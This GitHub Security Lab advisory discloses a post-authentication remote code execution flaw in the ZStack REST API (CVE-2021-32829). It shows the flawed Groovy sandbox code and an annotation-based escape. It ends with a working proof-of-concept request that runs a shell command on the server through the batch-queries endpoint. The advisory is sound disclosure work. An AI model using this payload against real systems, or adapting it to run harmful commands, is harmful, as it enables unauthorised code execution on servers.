skip to content
Back to GitHub.com
Security Lab
Bounties Research Advisories Get Involved Events
≡
Home Bounties Research Advisories Get Involved Events
July 21, 2021

GHSL-2021-065: Post-authentication Remote Code Execution (RCE) in ZStack REST API - CVE-2021-32829

Alvaro Munoz

Coordinated Disclosure Timeline

- 2021-04-14: Reported via a GitHub Security Advisory
- 2021-04-15: The issue is acknowledged
- 2021-06-08: Issue is fixed

Summary

ZStack REST API is vulnerable to post-authentication Remote Code Execution (RCE) via bypass of the Groovy shell sandbox

Product

ZStack (https://en.zstack.io/)

Tested Version

3.10.7-c76 (ZStack-x86_64-DVD-3.10.7-c76.iso)

Details

Arbitrary Groovy Script evaluation (GHSL-2021-065)

The REST API exposes the `GET zstack/v1/batch-queries?script` endpoint which is backed up by the BatchQueryAction class. Messages are represented by the APIBatchQueryMsg, dispatched to the QueryFacadeImpl facade and handled by the BatchQuery class.

The HTTP request parameter `script` is mapped to the `APIBatchQueryMsg.script` property and evaluated as a Groovy script in `BatchQuery.query`

```
Map<String, Object> query(APIBatchQueryMsg msg) {

  ...
  def cc = new CompilerConfiguration()
  cc.addCompilationCustomizers(new SandboxTransformer())

  def shell = new GroovyShell(new GroovyClassLoader(), binding, cc)
  sandbox.register()
  try {
      Script script = shell.parse(msg.script)
      ZQLContext.putAPISession(msg.session)
      script.run()
      ZQLContext.clean()
      clearAllClassInfo(script.getClass())
  } catch (Throwable t) {
      logger.warn(t.message, t)
      sandbox.unregister()
      throw new OperationFailureException(Platform.operr("${errorLine(msg.script, t)}"))
  } finally {
      sandbox.unregister()
      shell.resetLoadedClasses()
  }
  ...

}
```

As we can see in the code snippet above, the evaluation of the user-controlled Groovy script is sandboxed by `SandboxTransformer` which will apply the restrictions defined in the registered (`sandbox.register()`) `GroovyInterceptor`. This interceptor is declared in the `Sandbox` class as:

```
    static class SandBox extends GroovyInterceptor {
        static List<Class> RECEIVER_WHITE_LIST = [
                Number[].class,
                Number.class,
                long[].class,
                long.class,
                int[].class,
                int.class,
                short[].class,
                short.class,
                double[].class,
                double.class,
                float[].class,
                float.class,
                String[].class,
                String.class,
                Date[].class,
                Date.class,
                Map.class,
                Collection.class,
                Script.class,
                Enum[].class,
                Enum.class
        ]

        static void checkReceiver(Object obj) {
            checkReceiver(obj.getClass())
        }

        static void checkReceiver(Class clz) {
            for (Class wclz : RECEIVER_WHITE_LIST) {
                if (wclz.isAssignableFrom(clz)) {
                    return
                }
            }

            throw new Exception("invalid operation on class[${clz.name}]")
        }

        static void checkMethod(String method) {
            if (method == "sleep") {
                throw new Exception("invalid operation[${method}]")
            }
        }

        Object onMethodCall(GroovyInterceptor.Invoker invoker, Object receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            checkMethod(method)
            return super.onMethodCall(invoker, receiver, method, args)
        }

        Object onStaticCall(GroovyInterceptor.Invoker invoker, Class receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            checkMethod(method)
            return super.onStaticCall(invoker, receiver, method, args)
        }

        Object onNewInstance(GroovyInterceptor.Invoker invoker, Class receiver, Object... args) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, (Object[])args);
        }

        Object onSuperCall(GroovyInterceptor.Invoker invoker, Class senderType, Object receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(new Super(senderType, receiver), method, (Object[])args);
        }

        void onSuperConstructor(GroovyInterceptor.Invoker invoker, Class receiver, Object... args) throws Throwable {
            checkReceiver(receiver)
            this.onNewInstance(invoker, receiver, args);
        }

        Object onGetProperty(GroovyInterceptor.Invoker invoker, Object receiver, String property) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, property);
        }

        Object onSetProperty(GroovyInterceptor.Invoker invoker, Object receiver, String property, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, property, value);
        }

        Object onGetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, attribute);
        }

        Object onSetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, attribute, value);
        }

        Object onGetArray(GroovyInterceptor.Invoker invoker, Object receiver, Object index) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, (Object)index);
        }

        Object onSetArray(GroovyInterceptor.Invoker invoker, Object receiver, Object index, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, index, value);
        }
    }
```

Even though the sandbox heavily restricts the receiver types to a small set of allowed types, the sandbox is non effective at controlling any code placed in Java annotations and therefore vulnerable to meta-programming escapes as defined in this blog post.

Impact

This issue leads to post-authenticated remote code execution.

Resources

Reproduction steps:

1. Authenticate as any non-privileged user or system admin

```
PUT http://192.168.78.132:8080/zstack/v1/accounts/login
{
 "logInByAccount": {
     "password": "b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86",
     "accountName": "admin"
 }
}
```

Response

```
# {"inventory":{"uuid":"901c1c7c58534883a6cd3330104d0e18","accountUuid":"36c27e8ff05c4780bf6d2fa65700f22e","userUuid":"36c27e8ff05c4780bf6d2fa65700f22e","expiredDate":"Apr 8, 2021 9:36:15 PM","createDate":"Apr 8, 2021 7:36:15 PM","noSessionEvaluation":false}}
```

1. Send a PoC exploit which creates a `/tmp/pwned` file (does not require “SystemAdmin” account)

```
GET http://192.168.78.132:8080/zstack/v1/batch-queries?script=@groovy.transform.ASTTest(value=%7Bassert%20java.lang.Runtime.getRuntime().exec(%22touch%20/tmp/pwned%22)%7D)%20def%20x
Authorization: OAuth e89f1e6f5b3c4031b44a8392acde19dc
```

Response

```
status code: 503
Set-Cookie: JSESSIONID=7E525CEEDD417C0627F1188E1A739984; Path=/zstack; HttpOnly
Content-Length: 472
Date: Thu, 08 Apr 2021 11:47:59 GMT
Connection: close

{"error":{"code":"SYS.1006","description":"An operation failed","details":"No signature of method: Script1.ssert() is applicable for argument types: (java.lang.UNIXProcess) values: [java.lang.UNIXProcess@4a856d2]\nPossible solutions: every(), grep(), use([Ljava.lang.Object;), every(g
```

Even though, we get an Internal Error response (503), the output of the error already hints us that the process was executed (`[java.lang.UNIXProcess@4a856d2]]`) and if we check the `/tmp` directory, a `pwned` file should have been created.

CVE

- CVE-2021-32829

Resources

- https://github.com/zstackio/zstack/security/advisories/GHSA-6xgq-7rqg-x3q5

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-065` in any communication regarding this issue.